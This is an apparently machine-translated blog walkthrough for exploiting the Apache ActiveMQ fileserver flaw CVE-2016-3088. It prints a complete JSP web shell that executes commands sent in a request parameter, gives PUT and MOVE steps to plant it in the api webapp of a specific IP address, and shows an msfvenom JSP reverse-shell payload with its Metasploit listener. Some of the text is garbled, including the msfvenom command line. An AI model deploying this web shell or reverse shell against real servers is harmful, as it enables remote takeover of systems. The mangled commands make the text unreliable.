Apache ActiveMQ Remote Code Execution Vulnerability (CVE-2016-3088)

简介:2016年4月14日,国外安全研究人员 Simon Zuckerbraun 曝光 Apache ActiveMQ Fileserver 存在多个安全漏洞,可使远程***者用恶意代码替代Web应用,在受影响系统上执行远程代码(CVE-2016-3088)。
8161端口为web控制台端口,本漏洞就出现在web控制台中。
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。
fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:其使用率并不高而且文件操作容易出现漏洞。
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

1. Direct write shell
access http://120.79.1.70:8161/fileserver directly after bp interception into the post to put in a few lines behind the increase

<%@ page import="java.util.*,java.io.*"%> <% %> 
<HTML><BODY> <FORM METHOD="GET" NAME="comments" ACTION="">
<INPUT TYPE="text" NAME="comment"> 
<INPUT TYPE="submit" VALUE="Send"> 
</FORM> <pre> 
<%
 if ( request.getParameter( "comment" ) != null )
 {
     out.println( "Command: " + request.getParameter( "comment" ) + "<BR>" );
     Process p        = Runtime.getRuntime().exec( request.getParameter( "comment" ) );
     OutputStream os    = p.getOutputStream();
     InputStream in        = p.getInputStream();
     DataInputStream dis    = new DataInputStream( in );
     String disr        = dis.readLine();
     while ( disr != null )
     {
         out.println( disr ); disr = dis.readLine();
     }
 }
 %>
 </pre> 
 </BODY></HTML>

FIG follows: chen.txt:
Here Insert Picture Description

204 represents a successful return, after then put into the back row move together

Destination:file:///opt/activemq/webapps/api/s.jsp

Here Insert Picture Description
Finally, add a direct access to the back on the success api
Here Insert Picture Description

2. The method of using the write shell cron timer task
now generates a kali inside ***
msfvenom -p Java / jsp_shell_reverse_tcp lhost LPORT = 9999 = R & lt 192.168.199.109> bing.jsp
then upload his desktop open as shown below:
Here Insert Picture Description

After the same as before add a line after the first line

Destination:file:///opt/activemq/webapps/api/s.jsp

Here Insert Picture Description

To see if there website
Here Insert Picture Description

After opening kali

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.199.109
set lport 9999
run 

Listens to success!

Guess you like

Origin blog.51cto.com/14259169/2463374